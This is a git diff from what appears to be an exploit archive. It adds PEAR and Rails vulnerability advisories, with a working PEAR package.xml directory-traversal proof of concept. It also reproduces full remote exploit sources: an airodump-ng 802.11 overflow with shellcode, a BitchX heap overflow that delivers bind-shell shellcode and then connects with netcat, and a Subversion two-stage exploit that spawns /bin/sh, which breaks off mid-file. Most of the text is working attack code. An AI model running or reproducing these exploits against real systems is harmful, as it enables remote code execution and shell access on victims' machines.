+Sun JDK 1.5.0_07-b03 is vulnerable to these issues; other versions may also be affected. 
+
+http://www.exploit-db.com/sploits/30043.zip
\ No newline at end of file
diff --git a/platforms/linux/remote/30074.txt b/platforms/linux/remote/30074.txt
new file mode 100755
index 000000000..a6ca2481c
--- /dev/null
+++ b/platforms/linux/remote/30074.txt
@@ -0,0 +1,70 @@
+source: http://www.securityfocus.com/bid/24111/info
+
+PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.
+
+An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.
+
+This issue affects PEAR 1.0 to 1.5.3. 
+
+create a file named "INSTALL" and save it in the current directory.
+Save the following XML as package.xml, and run "pear install package.xml"
+
+If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
+/usr/local/test.php
+
+
+
+<?xml version="1.0" encoding="UTF-8"?>
+<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
+xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
+xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
+http://pear.php.net/dtd/tasks-1.0.xsd
+http://pear.php.net/dtd/package-2.0
+http://pear.php.net/dtd/package-2.0.xsd">
+ <name>Test_Sec</name>
+ <channel>pear.php.net</channel>
+ <summary>Test security vulnerability</summary>
+ <description>demonstrate install-as vulnerability
+ </description>
+ <lead>
+  <name>Greg Beaver</name>
+  <user>cellog</user>
+  <email>cellog@php.net</email>
+  <active>yes</active>
+ </lead>
+ <date>2007-03-05</date>
+ <version>
+  <release>1.6.0</release>
+  <api>1.6.0</api>
+ </version>
+ <stability>
+  <release>stable</release>
+  <api>stable</api>
+ </stability>
+ <license uri="http://www.php.net/license">PHP License</license>
+ <notes>
+    allow up to latest beta version [tias]
+ </notes>
+ <contents>
+  <dir name="/">
+   <file name="INSTALL" role="php" />
+  </dir> <!-- / -->
+ </contents>
+ <dependencies>
+  <required>
+   <php>
+    <min>4.3.0</min>
+   </php>
+   <pearinstaller>
+    <min>1.4.3</min>
+   </pearinstaller>
+  </required>
+ </dependencies>
+ <phprelease>
+  <filelist>
+   <install as="../../test.php" name="INSTALL" />
+  </filelist>
+ </phprelease>
+
+</package>
diff --git a/platforms/linux/remote/30089.txt b/platforms/linux/remote/30089.txt
new file mode 100755
index 000000000..bca8a30df
--- /dev/null
+++ b/platforms/linux/remote/30089.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24161/info
+
+Ruby on Rails is prone to a script-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Attacker-supplied script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
+
+This issue affects Ruby on Rails 1.2.3; other versions may also be affected. 
+
+http://www.exploit-db.com/sploits/30089.tgz
\ No newline at end of file
diff --git a/platforms/linux/remote/3724.c b/platforms/linux/remote/3724.c
index b742b9389..340db59d3 100755
--- a/platforms/linux/remote/3724.c
+++ b/platforms/linux/remote/3724.c
@@ -1,186 +1,186 @@
-/**
- * airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit
- *
- * Proof of concept exploit for a stack (and heap) based
- * overflow in airodump-ng.  The vulnerability can be exploited
- * by transmitting some specially crafted 802.11 packets to
- * execute arbitrary code on any machines within range
- * that are sniffing with a vulnerable version of airodump-ng.
- *
- * This exploit requires the lorcon 802.11 packet injection
- * library, see http://802.11ninja.net for details.
- *
- * Compiling:
- *
- *   gcc -o airodump-remote airodump-remote.c -lorcon
- *
- * Usage:
- *
- *   ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]
- *
- * Drivers supported by lorcon:
- *
- *   wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,
- *   rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw
- *
- * Header types:
- *
- *   0 - None (not tested)
- *   1 - Fake prism54 header
- *   2 - Fake radiotap header (not tested)
- *
- * Return addresses:
- *
- *   Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934
- *   Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934
- *
- * Example usage:
- *
- *   ./airodump-ng wlan0 prism54 11 1 0x8054934
- *
- * Original advisory: http://www.nop-art.net/advisories/airodump-ng.txt
- * Author: Jonathan So [ jonny [ @ ] nop-art.net ]
- *
- * Copyright (C) 2007 Jonathan So
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <tx80211.h>
-
-// Linux x86 sys_write shellcode.  Any arbitrary shellcode should work
-// here, it doesn't matter if it contains nulls.  Maximum 792 bytes.
-
-char shellcode[] = "\xeb\x14"                      // jmp get_message
-
-                                                 // start:
-                 "\x59\x31\xdb\x31\xd2\xb2"
-                 "\x1b"                          // message length
-                 "\x31\xc0\x88\x04\x11"
-                 "\xb0\x04\xcd\x80"              // sys_write
-                 "\xb0\x01\xcd\x80"              // sys_exit
-
-                                                 // get_message:
-                 "\xe8\xe7\xff\xff\xff"          // call start
-                 "Stop sniffing our network!!";  // message text
-
-int main(int argc, char **argv)
-{
-  tx80211_t tx;
-  tx80211_packet_t txp;
-  uint8_t packet[1044];
-  uint8_t *ppacket;
-
-  int headertype;
-  unsigned ret_addr = 0x8054934;
-  FILE *fp;
-
-  if(argc<5) {
-      printf("usage: %s <interface> <driver> <channel> <arptype>
-[ret_addr]\n", argv[0]);
-      exit(1);
-  }
-
-  if(argc>5) {
-      ret_addr = strtoul(argv[5], NULL, 16);
-  }
-
-  headertype = atoi(argv[4]);
-
-  if ( tx80211_init(&tx, argv[1], tx80211_resolvecard(argv[2])) !=
-TX80211_ENOERR) {
-      fprintf(stderr, "Error initializing driver");
-      return 1;
-  }
-
-  if (tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON) !=
-TX80211_ENOERR) {
-      fprintf(stderr, "Error setting inject mode\n");
-      return 1;
-  }
-
-  if (tx80211_setchannel(&tx, atoi(argv[3])) < 0) {
-              fprintf(stderr, "Error setting channel\n");
-  }
-
-  if (tx80211_open(&tx) < 0) {
-      fprintf(stderr, "Unable to open interface\n");
-      return 1;
-  }
-
-  txp.packet = packet;
-
-  // Fill packet with nops
-  memset(packet, 0x90, sizeof(packet));
-
-  switch (headertype) {
-      case 0:
-          // No arptype, just send raw packet
-          ppacket = packet;
-          break;
-      case 1:
-          // Send fake prism header
-          memcpy(packet+4, "\x08\x00\x00\x00", 4);
-          ppacket = packet + 8;
-          break;
-      case 2:
-          // Send fake radiotap header
-          packet[0] = 0;
-          packet[2] = 3;
-          ppacket = packet + 3;
-          break;
-      default:
-          printf("Invalid header type. Valid options are:\n");
-          printf("  0 - none\n");
-          printf("  1 - prism54\n");
-          printf("  2 - radiotap\n");
-          return 1;
-  }
-
-  // set some necessary 802.11 header fields
-  ppacket[0] = 0xB0;
-  ppacket[1] = 0;
-  ppacket[24] = 1;
-  ppacket[25] = 0;
-  ppacket[26] = 2;
-  ppacket[27] = 0;
-
-  txp.plen = 512 + (ppacket - packet);
-  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
-      fprintf(stderr, "Error sending packet 1\n");
-      return 1;
-  }
-
-  ppacket[26] = 4;
-
-  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
-      fprintf(stderr, "Error sending packet 2\n");
-      return 1;
-  }
-
-  // Insert shellcode at end of nopsled
-  memcpy(ppacket+(820-sizeof(shellcode)), shellcode, sizeof(shellcode));
-
-  // Overwrite some char*, needs to be a valid address
-  memcpy(ppacket+1028, &ret_addr, 4);
-
-  // Overwrite global variable sk_len, used as argument to memcpy
-  memcpy(ppacket+1032, "\x20\x05\x00\x00", 4);
-
-  // Return address
-  memcpy(ppacket+820, &ret_addr, 4);
-
-  ppacket[1] = 0x40;
-  txp.plen = 1036 +  + (ppacket - packet);
-
-  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
-      fprintf(stderr, "Error sending packet 3\n");
-      return 1;
-  }
-
-  tx80211_close(&tx);
-
-  return 0;
-}
-
-// milw0rm.com [2007-04-12]
+/**
+ * airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit
+ *
+ * Proof of concept exploit for a stack (and heap) based
+ * overflow in airodump-ng.  The vulnerability can be exploited
+ * by transmitting some specially crafted 802.11 packets to
+ * execute arbitrary code on any machines within range
+ * that are sniffing with a vulnerable version of airodump-ng.
+ *
+ * This exploit requires the lorcon 802.11 packet injection
+ * library, see http://802.11ninja.net for details.
+ *
+ * Compiling:
+ *
+ *   gcc -o airodump-remote airodump-remote.c -lorcon
+ *
+ * Usage:
+ *
+ *   ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]
+ *
+ * Drivers supported by lorcon:
+ *
+ *   wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,
+ *   rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw
+ *
+ * Header types:
+ *
+ *   0 - None (not tested)
+ *   1 - Fake prism54 header
+ *   2 - Fake radiotap header (not tested)
+ *
+ * Return addresses:
+ *
+ *   Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934
+ *   Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934
+ *
+ * Example usage:
+ *
+ *   ./airodump-ng wlan0 prism54 11 1 0x8054934
+ *
+ * Original advisory: http://www.nop-art.net/advisories/airodump-ng.txt
+ * Author: Jonathan So [ jonny [ @ ] nop-art.net ]
+ *
+ * Copyright (C) 2007 Jonathan So
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <tx80211.h>
+
+// Linux x86 sys_write shellcode.  Any arbitrary shellcode should work
+// here, it doesn't matter if it contains nulls.  Maximum 792 bytes.
+
+char shellcode[] = "\xeb\x14"                      // jmp get_message
+
+                                                 // start:
+                 "\x59\x31\xdb\x31\xd2\xb2"
+                 "\x1b"                          // message length
+                 "\x31\xc0\x88\x04\x11"
+                 "\xb0\x04\xcd\x80"              // sys_write
+                 "\xb0\x01\xcd\x80"              // sys_exit
+
+                                                 // get_message:
+                 "\xe8\xe7\xff\xff\xff"          // call start
+                 "Stop sniffing our network!!";  // message text
+
+int main(int argc, char **argv)
+{
+  tx80211_t tx;
+  tx80211_packet_t txp;
+  uint8_t packet[1044];
+  uint8_t *ppacket;
+
+  int headertype;
+  unsigned ret_addr = 0x8054934;
+  FILE *fp;
+
+  if(argc<5) {
+      printf("usage: %s <interface> <driver> <channel> <arptype>
+[ret_addr]\n", argv[0]);
+      exit(1);
+  }
+
+  if(argc>5) {
+      ret_addr = strtoul(argv[5], NULL, 16);
+  }
+
+  headertype = atoi(argv[4]);
+
+  if ( tx80211_init(&tx, argv[1], tx80211_resolvecard(argv[2])) !=
+TX80211_ENOERR) {
+      fprintf(stderr, "Error initializing driver");
+      return 1;
+  }
+
+  if (tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON) !=
+TX80211_ENOERR) {
+      fprintf(stderr, "Error setting inject mode\n");
+      return 1;
+  }
+
+  if (tx80211_setchannel(&tx, atoi(argv[3])) < 0) {
+              fprintf(stderr, "Error setting channel\n");
+  }
+
+  if (tx80211_open(&tx) < 0) {
+      fprintf(stderr, "Unable to open interface\n");
+      return 1;
+  }
+
+  txp.packet = packet;
+
+  // Fill packet with nops
+  memset(packet, 0x90, sizeof(packet));
+
+  switch (headertype) {
+      case 0:
+          // No arptype, just send raw packet
+          ppacket = packet;
+          break;
+      case 1:
+          // Send fake prism header
+          memcpy(packet+4, "\x08\x00\x00\x00", 4);
+          ppacket = packet + 8;
+          break;
+      case 2:
+          // Send fake radiotap header
+          packet[0] = 0;
+          packet[2] = 3;
+          ppacket = packet + 3;
+          break;
+      default:
+          printf("Invalid header type. Valid options are:\n");
+          printf("  0 - none\n");
+          printf("  1 - prism54\n");
+          printf("  2 - radiotap\n");
+          return 1;
+  }
+
+  // set some necessary 802.11 header fields
+  ppacket[0] = 0xB0;
+  ppacket[1] = 0;
+  ppacket[24] = 1;
+  ppacket[25] = 0;
+  ppacket[26] = 2;
+  ppacket[27] = 0;
+
+  txp.plen = 512 + (ppacket - packet);
+  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
+      fprintf(stderr, "Error sending packet 1\n");
+      return 1;
+  }
+
+  ppacket[26] = 4;
+
+  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
+      fprintf(stderr, "Error sending packet 2\n");
+      return 1;
+  }
+
+  // Insert shellcode at end of nopsled
+  memcpy(ppacket+(820-sizeof(shellcode)), shellcode, sizeof(shellcode));
+
+  // Overwrite some char*, needs to be a valid address
+  memcpy(ppacket+1028, &ret_addr, 4);
+
+  // Overwrite global variable sk_len, used as argument to memcpy
+  memcpy(ppacket+1032, "\x20\x05\x00\x00", 4);
+
+  // Return address
+  memcpy(ppacket+820, &ret_addr, 4);
+
+  ppacket[1] = 0x40;
+  txp.plen = 1036 +  + (ppacket - packet);
+
+  if (tx80211_txpacket(&tx, &txp) < txp.plen) {
+      fprintf(stderr, "Error sending packet 3\n");
+      return 1;
+  }
+
+  tx80211_close(&tx);
+
+  return 0;
+}
+
+// milw0rm.com [2007-04-12]
diff --git a/platforms/linux/remote/413.c b/platforms/linux/remote/413.c
index fafd29011..d70a7df95 100755
--- a/platforms/linux/remote/413.c
+++ b/platforms/linux/remote/413.c
@@ -180,6 +180,6 @@ close(sock);
   
 return 0; } 
   
-return 0; } 
-
-// milw0rm.com [2004-08-24]
+return 0; } 
+
+// milw0rm.com [2004-08-24]
diff --git a/platforms/linux/remote/4321.rb b/platforms/linux/remote/4321.rb
index 9adfb17fd..b7ff55470 100755
--- a/platforms/linux/remote/4321.rb
+++ b/platforms/linux/remote/4321.rb
@@ -1,123 +1,123 @@
-#!/usr/bin/env ruby
-######################################################
-# BitchX-1.1 Final MODE Heap Overflow [0-day]
-# By bannedit
-# Discovered May 16th 2007
-# - Yet another overflow which can overwrite GOT
-#
-# I found this vuln after modifying ilja's ircfuzz
-# code. Currently this exploit attempts to
-# overwrite the GOT with the ret address to the
-# shellcode.
-#
-# The actually vulnerability appears to be a stack
-# overflow in p_mode. Due to input size restrictions
-# the overflow can't occur on the stack because we can
-# only overflow so much data. Luckily though we
-# overwrite a structure containing pointers to heap
-# data. This allows us to overwrite the GOT.
-#
-# Reliability of this exploit in its current stage is
-# limited. There appears to be several factors which
-# restrict the reliability.
-#######################################################
-
-require 'socket'
-
-#the linux 2.6 target most effective atm
-targets = { 'linux 2.6' => '0x81861c8', 'linux 2.6 Hardened (FC6)' =>
-'0x8154d70','freebsd' => '0x41414141' }
-
-shellcode = #fork before binding a shell provides a clean exit
-            "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x05\x6a\x01\x58\xcd\x80"+
-
-             #metasploit linux x86 shellcode bind tcp port 4444
-            "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfc"+
-            "\x98\xd8\xb8\x83\xeb\xfc\xe2\xf4\xcd\x43\x8b\xfb\xaf\xf2\xda\xd2"+
-            "\x9a\xc0\x41\x31\x1d\x55\x58\x2e\xbf\xca\xbe\xd0\xed\xc4\xbe\xeb"+
-            "\x75\x79\xb2\xde\xa4\xc8\x89\xee\x75\x79\x15\x38\x4c\xfe\x09\x5b"+
-            "\x31\x18\x8a\xea\xaa\xdb\x51\x59\x4c\xfe\x15\x38\x6f\xf2\xda\xe1"+
-            "\x4c\xa7\x15\x38\xb5\xe1\x21\x08\xf7\xca\xb0\x97\xd3\xeb\xb0\xd0"+
-            "\xd3\xfa\xb1\xd6\x75\x7b\x8a\xeb\x75\x79\x15\x38"
-           
-
-port = (ARGV[0] || 6667).to_i
-sock = TCPServer.new('0.0.0.0', port)
-
-ret = (targets['linux 2.6 Hardened (FC6)'].hex)
-
-puts "----------------------------------------------"
-puts "- BitchX-1.1 Final Mode Heap Buffer Overflow -"
-puts "- By bannedit                                -"
-puts "----------------------------------------------"
-
-
-puts "\n[-] listening for incoming clients..."
-
-while (client = sock.accept)
-   ip = client.peeraddr
-
-   buffer = client.gets
-   puts "[<] #{buffer}"
-  
-   hostname = ([ret].pack('V')) * 13
-   nick = "bannedit"
-
-   #Fake server reply to connection
-   buffer = ":#{nick} MODE #{nick} :+iw\r\n"+
-            ":0 001 #{nick} :biznitch-1.0\r\n"+
-            ":5 002 #{nick} :biznitch-1.0\r\n"+
-            ":6 003 #{nick} :a\r\n"+
-            ":aaa 004 #{nick} :a\r\n"+
-            ":aaa 005 #{nick} :a\r\n"+
-            ":aaa 251 #{nick} :a\r\n"+
-            ":aaa 252 #{nick} :a\r\n"+
-            ":aaa 253 #{nick} :a\r\n"+
-            ":aaa 254 #{nick} :a\r\n"+
-            ":aaa 255 #{nick} :a\r\n"+
-            ":aaa 375 #{nick} :a\r\n"+
-            ":aaa 372 #{nick} :a\r\n"+
-            ":aaa 376 #{nick} :a\r\n"
-           
-   join =   ":aaa 302 #{nick} :#{nick}=+#{nick}@#{nick}\r\n"+      
-            ":#{nick}!#{nick}@#{hostname * 4} JOIN :#hackers\r\n"
-
-   puts "[>] sending fake server response"
-   client.send(buffer, 0)
-   sleep(2)
-#   client.send(join, 0)
-
-   topic =  ":aaa TOPIC #hackers:"
-   ret = ret + 0x200
-   topic<<  ([ret].pack('V')) * 100
-   topic<< "\r\n"
-   for i in 0..20
-   client.send(topic, 0)
-   end
-
-   puts "[>] sending evil buffer"
-   evilbuf = ":#{hostname}  MODE "
-   evilbuf<< "#{nick} :aaa"
-   ret = ret + 0x200
-   evilbuf<< ([ret].pack('V')) * 200
-   evilbuf<< "\x90" * (1126 - shellcode.length)
-   evilbuf<< shellcode
-   evilbuf<< "\x90" * 40
-   evilbuf<< "\r\n"
-  
-   for i in 0..5
-      client.send(evilbuf, 0)
-   end
-
-sleep(10) #wait for the shellcode to do its thing...
-
-puts "[+] exploit completed if successful port 4444 should be open"
-puts "[+] connecting to #{ip[3]} on port 4444 and dropping shell...\n\n"
-
-   fork {
-           system("nc #{ip[3]} 4444")
-           puts "[+] exiting shell dropping back to listener"
-        }
-end
-
-# milw0rm.com [2007-08-27]
+#!/usr/bin/env ruby
+######################################################
+# BitchX-1.1 Final MODE Heap Overflow [0-day]
+# By bannedit
+# Discovered May 16th 2007
+# - Yet another overflow which can overwrite GOT
+#
+# I found this vuln after modifying ilja's ircfuzz
+# code. Currently this exploit attempts to
+# overwrite the GOT with the ret address to the
+# shellcode.
+#
+# The actually vulnerability appears to be a stack
+# overflow in p_mode. Due to input size restrictions
+# the overflow can't occur on the stack because we can
+# only overflow so much data. Luckily though we
+# overwrite a structure containing pointers to heap
+# data. This allows us to overwrite the GOT.
+#
+# Reliability of this exploit in its current stage is
+# limited. There appears to be several factors which
+# restrict the reliability.
+#######################################################
+
+require 'socket'
+
+#the linux 2.6 target most effective atm
+targets = { 'linux 2.6' => '0x81861c8', 'linux 2.6 Hardened (FC6)' =>
+'0x8154d70','freebsd' => '0x41414141' }
+
+shellcode = #fork before binding a shell provides a clean exit
+            "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x05\x6a\x01\x58\xcd\x80"+
+
+             #metasploit linux x86 shellcode bind tcp port 4444
+            "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfc"+
+            "\x98\xd8\xb8\x83\xeb\xfc\xe2\xf4\xcd\x43\x8b\xfb\xaf\xf2\xda\xd2"+
+            "\x9a\xc0\x41\x31\x1d\x55\x58\x2e\xbf\xca\xbe\xd0\xed\xc4\xbe\xeb"+
+            "\x75\x79\xb2\xde\xa4\xc8\x89\xee\x75\x79\x15\x38\x4c\xfe\x09\x5b"+
+            "\x31\x18\x8a\xea\xaa\xdb\x51\x59\x4c\xfe\x15\x38\x6f\xf2\xda\xe1"+
+            "\x4c\xa7\x15\x38\xb5\xe1\x21\x08\xf7\xca\xb0\x97\xd3\xeb\xb0\xd0"+
+            "\xd3\xfa\xb1\xd6\x75\x7b\x8a\xeb\x75\x79\x15\x38"
+           
+
+port = (ARGV[0] || 6667).to_i
+sock = TCPServer.new('0.0.0.0', port)
+
+ret = (targets['linux 2.6 Hardened (FC6)'].hex)
+
+puts "----------------------------------------------"
+puts "- BitchX-1.1 Final Mode Heap Buffer Overflow -"
+puts "- By bannedit                                -"
+puts "----------------------------------------------"
+
+
+puts "\n[-] listening for incoming clients..."
+
+while (client = sock.accept)
+   ip = client.peeraddr
+
+   buffer = client.gets
+   puts "[<] #{buffer}"
+  
+   hostname = ([ret].pack('V')) * 13
+   nick = "bannedit"
+
+   #Fake server reply to connection
+   buffer = ":#{nick} MODE #{nick} :+iw\r\n"+
+            ":0 001 #{nick} :biznitch-1.0\r\n"+
+            ":5 002 #{nick} :biznitch-1.0\r\n"+
+            ":6 003 #{nick} :a\r\n"+
+            ":aaa 004 #{nick} :a\r\n"+
+            ":aaa 005 #{nick} :a\r\n"+
+            ":aaa 251 #{nick} :a\r\n"+
+            ":aaa 252 #{nick} :a\r\n"+
+            ":aaa 253 #{nick} :a\r\n"+
+            ":aaa 254 #{nick} :a\r\n"+
+            ":aaa 255 #{nick} :a\r\n"+
+            ":aaa 375 #{nick} :a\r\n"+
+            ":aaa 372 #{nick} :a\r\n"+
+            ":aaa 376 #{nick} :a\r\n"
+           
+   join =   ":aaa 302 #{nick} :#{nick}=+#{nick}@#{nick}\r\n"+      
+            ":#{nick}!#{nick}@#{hostname * 4} JOIN :#hackers\r\n"
+
+   puts "[>] sending fake server response"
+   client.send(buffer, 0)
+   sleep(2)
+#   client.send(join, 0)
+
+   topic =  ":aaa TOPIC #hackers:"
+   ret = ret + 0x200
+   topic<<  ([ret].pack('V')) * 100
+   topic<< "\r\n"
+   for i in 0..20
+   client.send(topic, 0)
+   end
+
+   puts "[>] sending evil buffer"
+   evilbuf = ":#{hostname}  MODE "
+   evilbuf<< "#{nick} :aaa"
+   ret = ret + 0x200
+   evilbuf<< ([ret].pack('V')) * 200
+   evilbuf<< "\x90" * (1126 - shellcode.length)
+   evilbuf<< shellcode
+   evilbuf<< "\x90" * 40
+   evilbuf<< "\r\n"
+  
+   for i in 0..5
+      client.send(evilbuf, 0)
+   end
+
+sleep(10) #wait for the shellcode to do its thing...
+
+puts "[+] exploit completed if successful port 4444 should be open"
+puts "[+] connecting to #{ip[3]} on port 4444 and dropping shell...\n\n"
+
+   fork {
+           system("nc #{ip[3]} 4444")
+           puts "[+] exiting shell dropping back to listener"
+        }
+end
+
+# milw0rm.com [2007-08-27]
diff --git a/platforms/linux/remote/4537.c b/platforms/linux/remote/4537.c
index aea3c80c0..b91eae7b6 100755
--- a/platforms/linux/remote/4537.c
+++ b/platforms/linux/remote/4537.c
@@ -1,328 +1,328 @@
-/*****************************************************************
- * hoagie_subversion.c
- *
- * Remote exploit against Subversion-Servers.
- *
- * Author: greuff <greuff@void.at>
- *
- * Tested on Subversion 1.0.0 and 0.37
- *
- * Algorithm:
- * This is a two-stage exploit. The first stage overflows a buffer
- * on the stack and leaves us ~60 bytes of machine code to be
- * executed. We try to find the socket-fd there and then do a 
- * read(2) on the socket. The exploit then sends the second stage
- * loader to the server, which can be of any length (up to the
- * obvious limits, of course). This second stage loader spawns 
- * /bin/sh on the server and connects it to the socket-fd.
- *
- * Credits:
- *    void.at
- *
- * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
- * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
- * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
- *
- *****************************************************************/
-
-#include <sys/socket.h>
-#include <sys/types.h>
-#include <sys/time.h>
-#include <unistd.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <errno.h>
-#include <string.h>
-#include <fcntl.h>
-#include <netdb.h>
-
-enum protocol { SVN, SVNSSH, HTTP, HTTPS };
-
-char stage1loader[]=
-             // begin socket fd search
-             "\x31\xdb"            // xor %ebx, %ebx
-             "\x90"                // nop (UTF-8)
-             "\x53"                // push %ebx
-             "\x58"                // pop %eax
-             "\x50"                // push %eax
-             "\x5f"                // pop %edi                # %eax = %ebx = %edi = 0
-             "\x2c\x40"            // sub $0x40, %al
-             "\x50"                // push %eax
-             "\x5b"                // pop %ebx
-             "\x50"                // push %eax
-             "\x5a"                // pop %edx                # %ebx = %edx = 0xC0
-             "\x57"                // push %edi
-             "\x57"                // push %edi               # safety-0
-             "\x54"                // push %esp
-             "\x59"                // pop %ecx                # %ecx = pointer to the buffer
-             "\x4b"                // dec %ebx                # beginloop:
-             "\x57"                // push %edi
-             "\x58"                // pop %eax                # clear %eax
-             "\xd6"                // salc (UTF-8)
-             "\xb0\x60"            // movb $0x60, %al
-             "\x2c\x44"            // sub $0x44, %al          # %eax = 0x1C
-             "\xcd\x80"            // int $0x80               # fstat(i, &stat)
-             "\x58"                // pop %eax
-             "\x58"                // pop %eax
-             "\x50"                // push %eax
-             "\x50"                // push %eax
-             "\x38\xd4"            // cmp %dl, %ah            # uppermost 2 bits of st_mode set?
-             "\x90"                // nop (UTF-8)
-             "\x72\xed"            // jb beginloop
-             "\x90"                // nop (UTF-8)
-             "\x90"                // nop (UTF-8)             # %ebx now contains the socket fd
-             // begin read(2)
-             "\x57"                // push %edi
-             "\x58"                // pop %eax                # zero %eax
-             "\x40"                // inc %eax
-             "\x40"                // inc %eax
-             "\x40"                // inc %eax                # %eax=3
-             //"\x54"                // push %esp
-             //"\x59"                // pop %ecx                # %ecx ... address of buffer
-             //"\x54"                // push %edi
-             //"\x5a"                // pop %edx                # %edx ... bufferlen (0xC0)
-             "\xcd\x80"            // int $0x80               # read(2) second stage loader
-             "\x39\xc7"            // cmp %eax, %edi
-             "\x90"                // nop (UTF-8)
-             "\x7f\xf3"            // jg startover
-             "\x90"                // nop (UTF-8)
-             "\x90"                // nop (UTF-8)
-             "\x90"                // nop (UTF-8)
-             "\x54"                // push %esp
-             "\xc3"                // ret                     # execute second stage loader
-             "\x90"                // nop (UTF-8)
-             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.
-             ;
-
-char stage2loader[]=
-             // dup2 - %ebx contains the fd
-             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
-             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
-             "\xcd\x80"               // int $0x80
-             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
-             "\xb9\x01\x00\x00\x00"   // mov $0x1, %ecx
-             "\xcd\x80"               // int $0x80
-             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
-             "\xb9\x02\x00\x00\x00"   // mov $0x2, %ecx
-             "\xcd\x80"               // int $0x80
-             // start /bin/sh
-             "\x31\xd2"               // xor %edx, %edx
-             "\x52"                   // push %edx
-             "\x68\x6e\x2f\x73\x68"   // push $0x68732f6e
-             "\x68\x2f\x2f\x62\x69"   // push $0x69622f2f
-             "\x89\xe3"               // mov %esp, %ebx
-             "\x52"                   // push %edx
-             "\x53"                   // push %ebx
-             "\x89\xe1"               // mov %esp, %ecx
-             "\xb8\x0b\x00\x00\x00"   // mov $0xb, %eax
-             "\xcd\x80"               // int $0x80
-             "\xb8\x01\x00\x00\x00"   // mov $0x1, %eax
-             "\xcd\x80"               // int %0x80     (exit)
-             ;
-
-int stage2loaderlen=69;
-             
-char requestfmt[]=
-"REPORT %s HTTP/1.1\n"
-"Host: %s\n"
-"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
-"Content-Length: %d\n"
-"Content-Type: text/xml\n"
-"Connection: close\n\n"
-"%s\n";
-
-char xmlreqfmt[]=
-"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
-"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
-"<D:creationdate>%s%c%c%c%c</D:creationdate>"
-"</S:dated-rev-report>";
-
-int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
-{
-   char *ptr;
-   char bfr[1000];
-   
-   ptr=strstr(uri,"://");
-   if(!ptr) return -1;
-   *ptr=0;
-   snprintf(bfr,sizeof(bfr),"%s",uri);
-   if(!strcmp(bfr,"http"))
-      *proto=HTTP, *port=80;
-   else if(!strcmp(bfr,"svn"))
-      *proto=SVN, *port=3690;
-   else
-   {
-      printf("Unsupported protocol %s\n",bfr);
-      return -1;
-   }
-   uri=ptr+3;
-   if((ptr=strchr(uri,':')))
-   {
-      *ptr=0;
-      snprintf(host,1000,"%s",uri);
-      uri=ptr+1;
-      if((ptr=strchr(uri,'/'))==NULL) return -1;
-      *ptr=0;
-      snprintf(bfr,1000,"%s",uri);
-      *port=(int)strtol(bfr,NULL,10);
-      *ptr='/';
-      uri=ptr;
-   }
-   else if((ptr=strchr(uri,'/')))
-   {
-      *ptr=0;
-      snprintf(host,1000,"%s",uri);
-      *ptr='/';
-      uri=ptr;
-   }
-   snprintf(repos,1000,"%s",uri);
-   return 0;
-}
-
-int exec_sh(int sockfd)
-{
-   char snd[4096],rcv[4096];
-   fd_set rset;
-   while(1)
-   {
-      FD_ZERO(&rset);
-      FD_SET(fileno(stdin),&rset);
-      FD_SET(sockfd,&rset);
-      select(255,&rset,NULL,NULL,NULL);
-      if(FD_ISSET(fileno(stdin),&rset))
-      {
-         memset(snd,0,sizeof(snd));
-         fgets(snd,sizeof(snd),stdin);
-         write(sockfd,snd,strlen(snd));
-      }
-      if(FD_ISSET(sockfd,&rset))
-      {
-         memset(rcv,0,sizeof(rcv));
-         if(read(sockfd,rcv,sizeof(rcv))<=0)
-            exit(0);
-         fputs(rcv,stdout);
-      }
-   }
-}
-
-int main(int argc, char **argv)
-{
-   int sock, port;
-   size_t size;
-   char cmd[1000], reply[1000], buffer[1000];
